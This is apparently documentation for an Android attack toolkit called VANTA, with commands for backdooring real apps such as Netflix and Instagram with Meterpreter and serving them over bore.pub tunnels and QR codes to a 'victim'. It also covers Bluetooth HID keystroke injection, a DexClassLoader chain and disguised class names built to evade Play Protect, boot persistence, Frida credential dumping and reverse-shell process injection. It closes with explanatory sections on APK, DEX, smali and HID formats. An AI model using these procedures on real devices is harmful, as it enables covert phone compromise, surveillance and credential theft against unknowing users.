# [*] Persistence:      persist_signed.apk  (BootReceiver injected, 17KB)
# [*] APK delivery URL: http://bore.pub:56605/persist_signed.apk
# [*] ADB intent sent:  am start VIEW http://bore.pub:56605/persist_signed.apk
# status: adb_intent_sent  |  persistence: BootReceiver (BOOT_COMPLETED)

# Start handler:
msfconsole -q -r ~/.vanta/android/192.168.1.124_5555/<ts>/bt_deliver_handler.rc

Example — BT HID zero-click delivery (no ADB on target)

use android_pentest
set operation bt_zero_deliver
set bt_addr A8:34:6A:E9:AE:87
set lhost 192.168.1.101
set lport 4444
set open_method browser   # BT HID keyboard injection — no ADB needed
set key_delay 0.12        # slow down keystrokes for reliability
run

# Requires: classic BT ON, CAP_NET_RAW, target NOT patched (Android < 2023-12-01)

Example — URL-only mode (Phase 4a, no BT, no ADB)

use android_pentest
set operation bt_zero_deliver
# bt_addr omitted → url_only — no BT or ADB required
set lhost 192.168.1.101
set lport 4444
run

# Result fields:
# wan_url        = http://bore.pub:XXXXX/persist_signed.apk  ← send to target
# msf_bore_lhost = 161.35.110.36  (resolved from bore.pub)
# msf_bore_lport = YYYYY           (bore-assigned MSF callback port)
# handler_rc     = ~/.vanta/.../bt_deliver_handler.rc
# persistence    = BootReceiver (BOOT_COMPLETED)
#
# Target flow: tap wan_url → Chrome download → install → Meterpreter connects
#              bore.pub:YYYYY → localhost:4444 → MSF session
#              Repeats automatically on every device reboot.
⚠ Classic BT vs BLE: Android can be in BLE_ON state (Bluetooth icon in status bar) where only BLE scanning runs but Classic Bluetooth is off. CVE-2023-45866 requires Classic Bluetooth — PSM 0x11/0x13 are Classic BT L2CAP channels. Check target state: adb shell dumpsys bluetooth_manager | grep "state:". State must be ON, not BLE_ON.
⚠ CAP_NET_RAW required: Raw L2CAP Bluetooth sockets require elevated privileges. Run sudo setcap cap_net_raw+eip $(which python3) once after install. Without this, the operation falls back to permission_denied status and the WAN URL is still emitted.

Samsung HIDH Firmware Auth Check — Vendor-Patched Devices

Samsung devices running One UI 3.x+ firmware may include a vendor-specific HIDH-level authentication check that fires independently of the AOSP December 2023 patch. Symptoms:

  • L2CAP channels on PSM 0x11 and PSM 0x13 both connect successfully
  • PSM 0x13 sends an empty L2CAP DISCONNECT immediately after connect
  • First intr.send() returns [Errno 107] Transport endpoint not connected
  • Android logcat shows: btif_hh_upstreams_evt: BTA_HH_OPN_EVT: handle=255, status=7
  • status=7 = BTA_HH_ERR_AUTH_FAILED — HIDH host rejected the unknown device

This check rejects HID connections from devices not in the paired/trusted list at the HIDH layer, even though the L2CAP connection was accepted (exploiting the CVE). The device's security patch date (e.g. 2023-01-01) does not reflect this Samsung-specific fix.

ScenarioBT HID resultRecommended path
Unpatched AOSP Android (no Samsung HIDH check, patch < 2023-12-01)injectedPure BT HID zero-click works
Samsung One UI 3.x+ with HIDH auth check (any patch level)connection_failed (ENOTCONN)Use open_method=adb — ADB push + pm install is the reliable path
Any device, AOSP patch ≥ 2023-12-01connection_failed (ECONNREFUSED on PSM)CVE patched — use ADB or social engineering delivery
# Confirm Samsung HIDH check is blocking (requires ADB):
adb shell logcat -d | grep "BTA_HH_OPN_EVT"
# → status=7 confirms HIDH auth rejection
# → status=0 would mean accepted (BT HID would work)

Backdoor APK - Detailed Guide

backdoor_apk injects a Metasploit payload into an existing APK, signs the result, and — by default — automatically runs WAN expose (bore tunnel + detached APK HTTP server) so the backdoored APK is immediately reachable over the internet. A ready-to-use handler.rc is generated in the work directory. In the GUI the run button is labelled INJECT.

Two APK sources: provide apk_path (path to a local APK file — no device needed) or package (pulls the installed APK from a connected device via pm path + adb pull, with a root /sdcard copy fallback). When both are omitted the operation fails with a clear usage message.

Two injection paths: the module first tries msfvenom -x <template>. If msfvenom's internal decompiler fails (common with large, obfuscated, or multi-dex APKs like most real-world apps), it automatically falls back to an apktool merge pipeline: decode template → generate standalone payload APK → copy payload smali into template → inject manifest components → rebuild with 4 GB JVM heap → sign. This makes the operation robust against production APKs that msfvenom cannot handle directly.

⚠ LHOST auto-detection: Setting lhost to auto, empty string, none, or 0.0.0.0 triggers automatic detection from the default network route. Do not pass these literally to msfvenom — the module resolves them first. If you are targeting a WAN listener, set lhost to the actual bore.pub IP or your VPS IP.
⚠ Set syntax reminder: Each parameter is set individually. set package com.example.app — not set backdoor_apk package com.example.app. The latter would set a parameter called "backdoor_apk" with value "package com.example.app".

Example — Local APK (no device needed)

use android_pentest
set operation backdoor_apk
set apk_path /home/user/Downloads/Netflix.apk   # local file — no device required
set lhost 192.168.1.101
set lport 4444
set wan_expose false
run

# If msfvenom -x fails (large/obfuscated APK), the apktool merge pipeline activates automatically.
# Output: ~/.vanta/android/auto/<ts>/Netflix_merged_signed.apk + handler.rc

Example — Device APK (LAN injection)

use android_pentest
set operation backdoor_apk
set package com.instagram.android
set lhost 192.168.1.42
set lport 4444
set install false
set wan_expose false   # skip WAN expose for a LAN-only test
run connected

# After success, start the handler:
set operation msf_handler
set lhost 192.168.1.42
set lport 4444
run connected

Example — WAN injection (default)

use android_pentest
set operation backdoor_apk
set package com.example.calculator
set lport 4444
# lhost is auto-detected — bore resolves the WAN IP for msfvenom
# wan_expose defaults to true — bore tunnel + HTTP server start automatically
run connected

# GUI: switch to Delivery tab to get APK URL, QR code, and handler command
# CLI: delivery info printed to terminal after tunnel is ready

Execution steps

1. APK source    - if apk_path set: copy local file (no device needed)
                    else: adb pull from /data/app/… (root /sdcard copy fallback)
2a. msfvenom -x  - attempt payload injection into APK template; lhost auto-resolved
2b. apktool merge - if msfvenom -x fails (obfuscated / large APK):
                      msfvenom → standalone payload APK (no template)
                      apktool d → decode template
                      apktool d → decode payload
                      merge smali dirs + inject manifest components
                      java -Xmx4g -jar apktool.jar b → rebuild (bypasses -Xmx256M wrapper cap)
3. sign          - generate ~/.vanta/android/vanta_debug.keystore if absent
                    sign with apksigner (v2+v3 scheme); jarsigner fallback if apksigner absent
4. handler.rc    - write Metasploit handler resource script to work dir
5. install       - (optional) adb uninstall + adb install -r -t
6. wan_expose    - (default) spawn detached HTTP server + bore tunnel; print/save delivery info
Work directory: All files saved to ~/.vanta/android/<serial>/<timestamp>/ — original APK, backdoored APK, signed APK, handler.rc, and vanta_debug.keystore. Browse them in the GUI Files tab.

Deploy Shell

deploy_shell generates a fresh com.metasploit.stage reverse-shell APK via msfvenom (no template APK needed), then installs it on the connected device via adb install -r -t. WAN expose (bore tunnel + HTTP server) runs automatically after install unless wan_expose=false. Button label in GUI: INJECT.

⚠ Detection risk: com.metasploit.stage is on every AV engine and Play Protect blocklist. Use backdoor_apk (template injection) or rebuild (DexClassLoader chain) for production engagements. See Play Protect Bypass.
use android_pentest
set operation deploy_shell
set lhost 192.168.1.42
set lport 4444
set wan_expose false   # optional: skip WAN expose for LAN-only
run connected

WAN C2 - Boot Persistence & DexClassLoader Chain

The rebuild operation uses build_bootbuddy.py to produce a backdoored APK that carries no static Meterpreter bytecode. Instead, a tiny DexClassLoader stub fetches s.dex from a bore HTTP tunnel at runtime - bypassing Play Protect static scanning. The full persistence chain fires on every device reboot.

C2 Chain - 4 Steps

STEP 1
BootReceiver
BOOT_COMPLETED broadcast triggers startForegroundService(AgentService)
STEP 2
AgentService
Foreground service calls Payload.start(context) via static invoke
STEP 3
Payload (DexClassLoader)
Downloads s.dex from bore HTTP tunnel, loads via DexClassLoader, calls com.metasploit.stage.Payload.start()
STEP 4
s.dex - Meterpreter
android/meterpreter/reverse_http calls back to bore MSF tunnel → MSF session

rebuild Parameters

ParameterTypeDefaultDescription
operationstringrebuildMust be set to rebuild
apk_pathstringrequiredPath to the base APK to patch (any Android APK with a boot receiver)
bore_dex_portint21062bore.pub public port serving s.dex and rebuilt.apk via HTTP
bore_msf_portint37993bore.pub public port forwarding to local MSF listener (4444)
bore_serverstringbore.pubbore relay hostname - resolved to IPv4 before passing to msfvenom

Example - Full WAN Build

use android_pentest
set operation rebuild
set apk_path /tmp/base.apk
set bore_dex_port 21062
set bore_msf_port 37993
run connected

# VANTA will:
#  1. Patch BootReceiver + AgentService + Payload smali
#  2. Generate s.dex (msfvenom android/meterpreter/reverse_http)
#  3. Rebuild + sign APK → output/rebuilt.apk
#  4. Print ASCII QR + save output/apk_delivery.png
#  5. Print watchdog + bore commands

bore Tunnel Setup

bore creates persistent WAN tunnels without port-forwarding. Run these before the target scans the QR:

# Serve output/ directory (DEX + rebuilt APK)
python3 -m http.server 8080 --directory output/

# bore DEX tunnel - port 21062 maps to local :8080
bore local 8080 --to bore.pub --port 21062

# bore MSF tunnel - port 37993 maps to local :4444
bore local 4444 --to bore.pub --port 37993

# MSF multi/handler
msfconsole -q -x "use multi/handler; set payload android/meterpreter/reverse_http; \
  set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit -j"

c2_watchdog.sh - Auto-Restart

The watchdog script manages all 4 processes with health-check loops and auto-restart on failure:

# Start all C2 components in background with watchdog
bash tools/mobile/android/c2_persistence/c2_watchdog.sh \
  --dex-port 8080 --bore-dex-port 21062 \
  --msf-port 4444  --bore-msf-port 37993 \
  --output-dir output/
python3 -m http.server
Serves output/ dir on :8080. Watched every 10 s.
bore local 8080 → 21062
DEX + APK delivery tunnel. Restarted if bore exits.
bore local 4444 → 37993
MSF C2 tunnel. Restarted if bore exits.
msfconsole multi/handler
reverse_http on :4444. Manages incoming sessions.

QR APK Delivery

After a successful build, VANTA prints a scannable ASCII QR in the terminal and saves a PNG:

══════════════════════════════════════════════════════
  SCAN TO INSTALL APK
  http://bore.pub:21062/rebuilt.apk
══════════════════════════════════════════════════════
[QR rendered here in terminal]

→ PNG saved to: output/apk_delivery.png

The QR encodes the full WAN URL. The device downloads and installs the APK; after first launch (or reboot via boot receiver), the DexClassLoader chain fires and a Meterpreter session appears in the MSF handler.

Play Protect Bypass Options

A raw deploy_shell APK (com.metasploit.stage) is one of the most fingerprinted signatures on Android — every AV engine and Play Protect flags it immediately. Two bypass routes are available depending on whether you have a legitimate template APK.

ApproachOperationDetection RiskRequires
Raw payloaddeploy_shellFLAGGED — com.metasploit.stage on all blocklistsNothing extra
Template injectionbackdoor_apkMEDIUM — looks like a real app, package name preservedA legitimate APK template
DexClassLoader chainrebuildLOW — no static Meterpreter bytecode in APKA base APK + bore tunnel for DEX delivery

Option 1 — Template Injection (backdoor_apk)

Injects the msfvenom payload into a legitimate APK using msfvenom -x. The resulting APK keeps the original package name, icon, and activity structure. Play Protect sees a real application, not com.metasploit.stage.

# Step 1 — backdoor a template APK (e.g. a calculator or utility app)
use android_pentest
set operation backdoor_apk
set package com.example.calculator   # package installed on device — or use apk_path
set lhost 161.35.110.36              # bore.pub resolved IP
set lport 41736                      # bore MSF tunnel port
run connected

# Step 2 — serve + QR (WAN delivery)
set operation qr_exploit
set mode wan
set apk_path /path/to/calculator_backdoored_signed.apk
run no_device
Template tips: Pick a simple, single-activity app. Heavily obfuscated, multi-dex, or large APKs (>30 MB) will fail msfvenom -x — VANTA automatically falls back to the apktool merge pipeline for these. Both paths produce a signed, installable APK. Good templates: lightweight utilities from APKPure — file managers, calculators, clocks. Large real-world APKs (e.g. streaming apps) work too via the apktool fallback.

Option 2 — DexClassLoader Chain (rebuild)

No Meterpreter bytecode exists inside the APK at all. A tiny stub fetches s.dex from a bore HTTP tunnel at runtime via DexClassLoader. Play Protect static scanning sees an empty fetcher — nothing to flag.

use android_pentest
set operation rebuild
set apk_path /tmp/base.apk
set bore_dex_port 21062   # bore.pub:21062 → local HTTP server serving s.dex
set bore_msf_port 37993   # bore.pub:37993 → local MSF handler :4444
run connected
A — No static payload
APK contains only a fetcher class. No Meterpreter DEX in the APK binary.
B — Split URL constants
DEX URL split across two string constants, concatenated at runtime.
C — Disguised class name
Payload class lives at com.android.system.health.Payload — mimics AOSP namespace.
D — ProcessBuilder exec
Uses ProcessBuilder + split command string instead of Runtime.exec().

Frida Hook

Automatically deploys frida-server to a rooted device, then attaches to the target package with a preset hook based on hook_mode.

set operation frida_hook
set package com.example.banking
set hook_mode ssl_unpin   # or: all | root_bypass | dump_creds | trace
set hook_timeout 60
run connected
hook_modeDescription
allSSL unpinning + root bypass + credential dumping (default)
ssl_unpinBypass SSL certificate pinning only
root_bypassBypass root detection checks
dump_credsHook login methods to capture credentials
traceMethod trace - set trace_method to a class/method substring

Process Inject & Live Process Sniffer

Runtime injection into any running APK process — no reboot, no reinstall. The GUI's Instrumentation → process inject card exposes a live process sniffer panel that SSE-streams ps -A output every 2 seconds. Click any row to set it as the injection target, then run with your chosen inject_mode.

actionWhat it does
sniffEnumerate all running processes; GUI table auto-refreshes every 2 s via SSE on /api/proc/stream. One-shot JSON available at /api/proc/list.
injectAttach to target PID/package and inject a Java-based reverse shell thread. Supports inject_mode=frida (default) or inject_mode=ptrace (root only).
persist_onlySkip injection — only install persistence into the target package (Magisk service.sh + BootReceiver smali patch).
# Sniff running processes
set operation process_inject
set action sniff
run connected

# Inject into PID 3421 with persistence
set operation process_inject
set action inject
set target_process 3421
set inject_mode frida
set lhost 10.10.10.5
set lport 4444
set persist true
run connected

# Inject by package name
set target_process com.target.app
run connected
inject_modeRequires rootMechanism
fridaNo (frida-server must be running)Deploys frida-server if absent; attaches by PID or package name; injects Java Thread opening a reverse socket to LHOST:LPORT, forks /system/bin/sh with I/O redirected.
ptraceYesPushes inject_arm64 + shell_arm64.so from agent/; uses ptrace to load the SO into the target process. Requires pre-built ARM64 injector binaries.

Frida-server binary: place the ARM64 release from github.com/frida/frida/releases at tools/mobile/android/agent/frida-server or ~/.vanta/frida-server. The tool auto-deploys it to /data/local/tmp/frida-server and starts it in daemon mode.

Persistence (persist=true):

  1. Magisk service.sh — appends agent launch to /data/adb/modules/vanta_hook/service.sh; runs on every boot (root required).
  2. BootReceiver smali — generates a BootReceiver.smali patch for the target APK; combine with backdoor_apk + reinstall for a fully no-root persistent shell.
  3. BOOT_COMPLETED broadcast — immediately re-triggers the receiver via am broadcast so the shell re-connects without rebooting.

MSF Handler

Starts msfrpcd in the background and writes connection config to ~/.vanta/msf_rpc.json. The VANTA shell can then manage sessions with sessions list, sessions interact <id>, etc.

set operation msf_handler
set lhost 192.168.1.42
set lport 4444
run connected

# After handler starts:
sessions list
sessions interact 1

File Manager

The Files tab in the GUI is a full dual-pane file manager — host filesystem on the left, connected Android device on the right, file preview on the far right. It is the primary interface for loading APKs into operations, pulling files from the device, decompiling and recompiling APKs, and managing the work directory.

Host Pane

Browses any directory on the pentest host. The path bar accepts direct input; breadcrumbs are clickable. Directories auto-initialise at ~/.vanta/android/ (the work dir).

ActionHow to triggerNotes
NavigateDouble-click a directoryBreadcrumb segments are also clickable
Preview fileSingle-click any fileText files: shows first 3 KB. Binary: shows size + download button.
Use APK in opsRight-click APK → use in opsSets the apk_path field in the currently visible operation params panel
Decompile APKRight-click APK → decompile APKRuns apktool d; decoded dir opens in host pane at ~/.vanta/android/decoded/<name>/
Recompile APKRight-click decoded dir → recompileRuns apktool b + auto-signs with vanta_debug.keystore; output: ~/.vanta/android/apks/<name>_recompiled.apk
Download to browserRight-click file → downloadServed via GET /api/fs/download with correct Content-Type
Upload fileClick ⬆ upload in toolbarFile picker → binary upload to current host directory via POST /api/fs/upload
Create folderClick + folderPrompts for folder name, creates at current path
RenameRight-click → renamePrompts for new path; supports moves across directories
DeleteRight-click → deleteConfirmation dialog; removes file or entire directory tree
Copy pathRight-click → copy pathCopies absolute path to clipboard

Device Pane

Browses the connected Android device via adb shell ls -la. Quick-nav buttons in the toolbar jump to /sdcard and /data/app. Requires a device to be selected in the device dropdown.

ActionHow to triggerNotes
Pull file to hostRight-click file → pull to hostSaved to ~/.vanta/android/pulled/ via adb pull
Pull APK by package nameToolbar ⬇ pull APK buttonPrompts for package name; uses pm path <pkg> + adb pull; root fallback via /sdcard copy
Pull APK + decompileRight-click APK → pull APK + decompilePulls then immediately runs apktool decode
Push selected host fileSelect a host file first, then right-click device entry → push file hereRuns adb push <local> <remote_path>
RefreshToolbar ⟳ refreshRe-runs ls -la on current device path

APK Decompile / Recompile Safety

The recompile flow uses apktool b (not a manual smali repack) which preserves all resource IDs, manifest meta, and signing requirements. After recompile, the APK is automatically signed with a freshly generated vanta_debug.keystore via apksigner (falls back to jarsigner). This ensures the repackaged APK installs cleanly without breaking the original functionality — critical when the APK is a working app template for payload injection.

⚠ Re-sign note: The debug keystore signature differs from the original app's. If the device has the original app installed, you must uninstall it first (adb uninstall <pkg>) before installing the recompiled version. The install=true param in backdoor_apk handles this automatically.

Examples

Device recon

use android_pentest
run connected    # operation defaults to recon

Full audit of a specific app

set operation full
set package com.target.app
set deep_analysis true
set search_secrets true
run connected

SSL pinning bypass (no root)

set operation app_scan
set package com.target.app
set bypass_ssl true
run connected

Network capture + logcat leak detection

set operation network
set package com.target.app
run connected    # requires root on device

Backdoor APK with automatic WAN delivery (default flow)

use android_pentest
set operation backdoor_apk
set package com.example.calculator
set lport 4444
# wan_expose=true by default — bore tunnel starts after injection
run connected

# CLI output / GUI Delivery tab will show:
#   APK URL:    http://bore.pub:<port>/calculator_backdoored_signed.apk
#   MSF tunnel: bore.pub:<port2> → localhost:4444
#   Handler cmd: msfconsole -q -r handler.rc

Process inject into running app (Frida)

set operation process_inject
set action inject
set target_process com.target.app   # or a PID integer
set inject_mode frida
set lhost 10.10.10.5
set lport 4444
set persist true
run connected

Decompile + modify APK (GUI file manager)

# 1. Open Files tab in GUI
# 2. Navigate to ~/.vanta/android/apks/ and right-click the APK
# 3. Select "decompile APK" — apktool decode runs, decoded dir shown in host pane
# 4. Navigate into decoded/ dir, edit smali / resources in PTY Terminal tab
# 5. Right-click the decoded dir → "recompile" — apktool build + auto-sign
# 6. Right-click the recompiled APK → "use in ops" to set apk_path for next operation

WAN QR delivery via bore (qr_exploit wan mode — CLI)

use android_pentest
set operation qr_exploit
set mode wan
set apk_path /home/user/payloads/backdoor.apk
run no_device

# VANTA will:
#  1. Spawn detached APK HTTP server (survives parent exit)
#  2. Start bore tunnel → bore.pub, obtain public port
#  3. Generate QR encoding http://bore.pub:<port>/backdoor.apk
#  4. Print ASCII QR + save PNG — victim scans to download
# GUI: use the Delivery tab instead — populated automatically after injection ops

Architecture Deep Dive

This chapter dissects every technology layer VANTA touches during an Android pentest engagement — from the raw bytes inside an APK file to the TLV packets Meterpreter sends home. No prior knowledge assumed. Read this once and the rest of the module documentation will make complete sense.

APK Format — Byte by Byte

An APK (Android Package) is a ZIP archive with a specific set of required files. ZIP is not a single file format — it's a series of records. Every ZIP record begins with a 4-byte magic signature. The hex dump of any APK's first 4 bytes is always:

## Hex dump of first 8 bytes of any APK
50 4B 03 04  14 00 08 08
^^^^^^^^^
PK\x03\x04 = ZIP Local File Header signature (little-endian 0x04034b50)
             ↑ "PK" honours Phil Katz, creator of ZIP

After that signature come 26 more header bytes describing the first compressed file entry, then its compressed data. This repeats for every file in the archive. At the end of the archive sits the End of Central Directory (EOCD) record:

## End of Central Directory — last record in every ZIP/APK
50 4B 05 06  00 00 00 00  ...
^^^^^^^^^
PK\x05\x06 = EOCD signature

APK v2/v3 signing (used by modern Android) inserts an APK Signing Block between the last ZIP entry data and the Central Directory. That block is why you cannot simply unzip + rezip a signed APK — you'd destroy the v2 signature. apktool handles this by stripping the signing block during decode and letting you re-sign via apksigner after rebuild.

Required Files Inside an APK

Path inside ZIPPurposeFormat
classes.dexCompiled Java/Kotlin bytecode — the app's logicDEX binary (see next section)
classes2.dex…Additional DEX for large apps (MultiDex)DEX binary
AndroidManifest.xmlApp identity, permissions, componentsBinary XML (AXML)
resources.arscCompiled string/layout resource tableBinary resource table
META-INF/MANIFEST.MFAPK v1 (JAR) signature hashesPlain text
META-INF/*.RSAAPK v1 certificate + PKCS#7 signature blockDER-encoded PKCS#7
META-INF/*.SFSignature manifest (digests of MANIFEST.MF entries)Plain text
lib/<abi>/*.soNative C/C++ shared libraries (optional)ELF shared object
assets/Raw bundled files (no processing by AAPT)Any
res/Compiled resource files (layouts, drawables)Binary XML / PNG

When VANTA injects a Meterpreter payload via backdoor_apk, it uses apktool to decode the ZIP, inserts new smali files into the decoded smali/ directory, patches AndroidManifest.xml to add the payload's components, rebuilds with apktool b, and re-signs with the VANTA keystore. The output APK has the same ZIP structure as any other APK.

DEX File Format & Dalvik Bytecode

classes.dex is the heart of every Android app. It contains all compiled Java/Kotlin classes encoded in the Dalvik Executable format. Dalvik is the original Android VM (replaced by ART in Android 5+, but the bytecode format is identical — ART compiles DEX to native machine code ahead-of-time via dex2oat).

DEX Header (first 112 bytes)

## Annotated hex dump of a DEX header
Offset  Size  Value                   Meaning
──────  ────  ──────────────────────  ────────────────────────────────
0x00    8     64 65 78 0A 30 33 35 00  magic: "dex\n035\0"  (version 035)
0x08    4     XX XX XX XX             checksum (Adler-32, covers 0x0C–EOF)
0x0C    20    XX...XX                 SHA-1 hash (covers 0x20–EOF)
0x20    4     XX XX XX XX             file_size (total bytes)
0x24    4     70 00 00 00             header_size = 0x70 (always 112)
0x28    4     78 56 34 12             endian_tag = 0x12345678 (little-endian)
0x2C    4     00 00 00 00             link_size (0 = no static linking)
0x30    4     00 00 00 00             link_off
0x34    4     XX XX XX XX             map_off (offset to type map list)
0x38    4     XX XX XX XX             string_ids_size (count of string literals)
0x3C    4     XX XX XX XX             string_ids_off
0x40    4     XX XX XX XX             type_ids_size  (count of types/classes)
0x44    4     XX XX XX XX             type_ids_off
0x48    4     XX XX XX XX             proto_ids_size (method signatures)
0x4C    4     XX XX XX XX             proto_ids_off
0x50    4     XX XX XX XX             field_ids_size
0x54    4     XX XX XX XX             field_ids_off
0x58    4     XX XX XX XX             method_ids_size (all method references)
0x5C    4     XX XX XX XX             method_ids_off
0x60    4     XX XX XX XX             class_defs_size (class definitions)
0x64    4     XX XX XX XX             class_defs_off
0x68    4     XX XX XX XX             data_size
0x6C    4     XX XX XX XX             data_off
Why this matters for VANTA: When backdoor_apk inserts payload smali, apktool reconstructs the entire DEX header — recalculating the Adler-32 checksum, SHA-1 hash, section offsets, and string/type/method ID tables. This is why the rebuild step takes several seconds for large APKs: apktool is writing a valid DEX from scratch, not just patching bytes.

String Lookup Internals

Every string literal in your app (class name, method name, URL, key, etc.) exists exactly once in the String IDs section. Each entry is a 4-byte offset pointing into the data section where a ULEB128-encoded length prefix is followed by the UTF-8 bytes. This is why secret scanners in app_scan can extract API keys from compiled APKs without decompiling — they read the DEX string table directly.

Smali — Dalvik Assembly Language

Smali is the human-readable assembly representation of Dalvik bytecode, created by Ben Gruver. When apktool d decodes an APK, it runs baksmali (the disassembler) on every classes.dex to produce .smali files. When you run apktool b it runs smali (the assembler) to turn those files back into a valid DEX.

The Register Machine Model

Dalvik is a register-based virtual machine, unlike the Java Virtual Machine (JVM) which is stack-based. This means every operation explicitly names its source and destination registers. There is no implicit operand stack. A method declares how many registers it needs in its header:

# Example smali method header
.method public constructor <init>()V
    .registers 2       # this method uses 2 registers total
    # v0 = local var, p0 = "this" reference (implicit parameter)
    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
    return-void
.end method

Registers are named v0–vN (locals) and p0–pM (parameters). For non-static methods, p0 is always this. The parameter registers always occupy the top of the register space: if a method declares .registers 5 with 2 params, then v0–v2 are locals and v3–v4 (= p0–p1) are parameters.

Core Opcode Reference

OpcodeExampleWhat it does
const/4const/4 v0, 0x1Load 4-bit signed literal into vN (values -8 to 7)
const/16const/16 v0, 0x100Load 16-bit signed literal
constconst v0, 0xDEADBEEFLoad full 32-bit literal
const-stringconst-string v0, "hello"Load a reference to string literal
const-classconst-class v0, Ljava/lang/String;Load a Class reference
movemove v0, v1Copy v1 → v0
move-resultmove-result v0Capture return value of last invoke into v0 (primitive)
move-result-objectmove-result-object v0Capture return value (object reference)
new-instancenew-instance v0, Ljava/net/URL;Allocate new object (does NOT call constructor)
invoke-virtualinvoke-virtual {v0,v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)ZCall virtual method (polymorphic)
invoke-directinvoke-direct {v0}, Ljava/lang/Object;-><init>()VCall constructor or private method
invoke-staticinvoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)ICall static method
invoke-interfaceinvoke-interface {v0}, Ljava/util/List;->size()ICall via interface (runtime lookup)
iget-objectiget-object v0, p0, Lcom/app/Foo;->mBar:Ljava/lang/String;Read instance field (object type)
iputiput v1, p0, Lcom/app/Foo;->mCount:IWrite instance field (primitive)
sget-objectsget-object v0, Lcom/app/Cfg;->C2_URL:Ljava/lang/String;Read static field
if-eqzif-eqz v0, :labelBranch if v0 == 0 (null/false)
if-nezif-nez v0, :labelBranch if v0 != 0
gotogoto :loop_startUnconditional jump to label
return-voidreturn-voidReturn from void method
return-objectreturn-object v0Return object reference
throwthrow v0Throw exception in v0
array-lengtharray-length v0, v1v0 = len(v1[])
new-arraynew-array v0, v1, [BAllocate byte[] of length v1
aput-byteaput-byte v2, v0, v1v0[v1] = v2 (byte write)
aget-byteaget-byte v2, v0, v1v2 = v0[v1] (byte read)

Reading Real Payload Smali

After backdoor_apk runs, the injected Meterpreter smali lives in workdir/decoded/smali/com/android/providers/settings/service/. Here is an annotated excerpt of the MainService.smali entry point that msfvenom generates:

# Class declaration — note the stealth package name VANTA applies
.class public Lcom/android/providers/settings/service/MainService;
.super Landroid/app/Service;         # extends Service (runs in background)

.method public onStartCommand(Landroid/content/Intent;II)I
    .registers 4                     # 4 regs: v0-v1 locals, p0=this, p1=intent, p2=flags, p3=startId

    # ── Kick off the actual Meterpreter stage in a new thread ──
    new-instance v0, Ljava/lang/Thread;
    new-instance v1, Lcom/android/providers/settings/service/PayloadTrustManager;
    invoke-direct {v1, p0}, Lcom/android/providers/settings/service/PayloadTrustManager;-><init>(Landroid/content/Context;)V
    invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    invoke-virtual {v0}, Ljava/lang/Thread;->start()V

    const/4 v0, 0x1
    return v0                        # START_STICKY — Android restarts service if killed
.end method

The key insight: START_STICKY (return value 1) tells Android to automatically restart the service if the system kills it due to memory pressure. Combined with the BootReceiver that restarts the service on reboot, the payload is highly persistent.

Binary AndroidManifest.xml (AXML)

The AndroidManifest.xml inside a compiled APK is NOT plain XML. AAPT2 (the Android Asset Packaging Tool) compiles it to a compact binary format called AXML (Android XML). This is why you see garbage if you open it in a text editor. apktool's baksmali decodes it back to human-readable XML, and smali re-encodes it during rebuild.

## AXML binary structure overview
Offset  Type   Size  Value        Meaning
──────  ─────  ────  ───────────  ────────────────────────────────────────
0x00    uint16   2   03 00        RES_XML_TYPE (0x0003) — identifies AXML
0x02    uint16   2   08 00        Header size = 8 bytes
0x04    uint32   4   <total_sz>  Total chunk size in bytes
  ↓
String Pool Chunk:
0x08    uint16   2   01 00        RES_STRING_POOL_TYPE (0x0001)
0x0A    uint16   2   1C 00        String pool header size
0x0C    uint32   4   <pool_sz>   Total string pool bytes
0x10    uint32   4   N            stringCount — number of strings
0x14    uint32   4   M            styleCount  — number of styles
0x18    uint32   4   flags        Flags (UTF-8 flag = 0x100)
0x1C    uint32   4   stringsStart Offset to string data
0x20    uint32   4   stylesStart  Offset to style data
  ↓ string offsets array (N × 4 bytes) then string data
  ↓
XML Namespace Chunk (RES_XML_START_NAMESPACE_TYPE = 0x0100)
XML Element Chunks (RES_XML_START_ELEMENT_TYPE = 0x0102)
  — each element records: line number, comment, namespace, name, attributes
  — attributes have: namespace, name, rawValue (string ref), typedValue (type+data)
XML End Namespace Chunk (RES_XML_END_NAMESPACE_TYPE = 0x0101)

When VANTA's backdoor_apk adds a <service android:name=".MainService"> and a <receiver android:name=".BootReceiver"> to the manifest, apktool writes those as new AXML element chunks with the correct attribute encoding. The android:exported attribute uses the typed value format: type 0x12 (boolean) with data 0x00000000 (false) or 0xFFFFFFFF (true).

Bluetooth HID — Packet Anatomy

The bt_zero_deliver operation impersonates a Bluetooth keyboard using the HID over Bluetooth profile (HoB). Understanding the protocol stack tells you exactly what bytes go over the air and why the attack works.

Protocol Stack

┌──────────────────────────────────────┐
│           Application (VANTA)         │  ← DuckyScript → keycode translation
├──────────────────────────────────────┤
│       HID Profile (spec: HID 1.11)   │  ← 9-byte input reports
├──────────────────────────────────────┤
│   L2CAP  PSM 0x0011 / PSM 0x0013    │  ← logical channels
├──────────────────────────────────────┤
│        ACL (Async Connection-Less)   │  ← reliable data transfer
├──────────────────────────────────────┤
│       Baseband / BR-EDR Radio        │  ← Classic Bluetooth 2.4 GHz
└──────────────────────────────────────┘

L2CAP Frame Layout

## Classic Bluetooth ACL packet containing L2CAP data
┌─────────────┬─────────────┬──────────────────────────────────────┐
│ PayloadLen  │  Channel ID │         L2CAP Payload                │
│  2 bytes LE │  2 bytes LE │       (variable bytes)               │
└─────────────┴─────────────┴──────────────────────────────────────┘

PSM 0x0011 = HID Control Channel   (configuration, get/set report)
PSM 0x0013 = HID Interrupt Channel (actual keystroke data flows here)

HID Input Report — 9 Bytes

## A single keystroke = 9 bytes on the HID Interrupt channel
Byte  Offset  Example   Meaning
────  ──────  ────────  ────────────────────────────────────────────
 0    0x00    A1        Transaction header: DATA(0xA0) + INPUT(0x01)
 1    0x01    01        Report ID = 0x01 (keyboard report)
 2    0x02    02        Modifier byte:
                          bit 0 = Left Ctrl
                          bit 1 = Left Shift  ← 0x02 means Shift held
                          bit 2 = Left Alt
                          bit 3 = Left GUI (Win/Cmd key)
                          bits 4-7 = Right-side equivalents
 3    0x03    00        Reserved (always 0x00)
 4    0x04    0F        Keycode 1 (HID Usage ID): 0x0F = 'l' key
 5    0x05    00        Keycode 2 (0x00 = no additional key)
 6    0x06    00        Keycode 3
 7    0x07    00        Keycode 4
 8    0x08    00        Keycode 5  ← 6 simultaneous keys max (NKRO)

